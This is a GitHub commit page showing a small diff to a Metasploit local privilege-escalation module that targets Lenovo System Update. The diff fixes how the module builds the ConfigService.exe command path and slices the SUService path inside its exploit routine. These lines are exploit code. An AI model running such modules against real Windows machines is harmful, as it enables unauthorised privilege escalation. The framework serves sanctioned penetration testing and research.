We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 94d39c5 commit e075495Copy full SHA for e075495
modules/exploits/windows/local/lenovo_systemupdate.rb
@@ -125,7 +125,7 @@ def get_security_token(lenovo_directory)
125
126
127
def config_service(lenovo_directory, option)
128
- cmd_exec(lenovo_directory + "ConfigService.exe #{option}")
+ cmd_exec("#{lenovo_directory}\\ConfigService.exe #{option}")
129
end
130
131
@@ -134,8 +134,7 @@ def exploit
134
fail_with(Failure::NoTarget, 'Session is already elevated')
135
136
137
- su_directory = service_info('SUService')[:path][1..-15]
138
-
+ su_directory = service_info('SUService')[:path][1..-16]
139
print_status("Starting service via ConfigService.exe")
140
config_service(su_directory, "start")
141
print_status("Giving the service some time to start...")
0 commit comments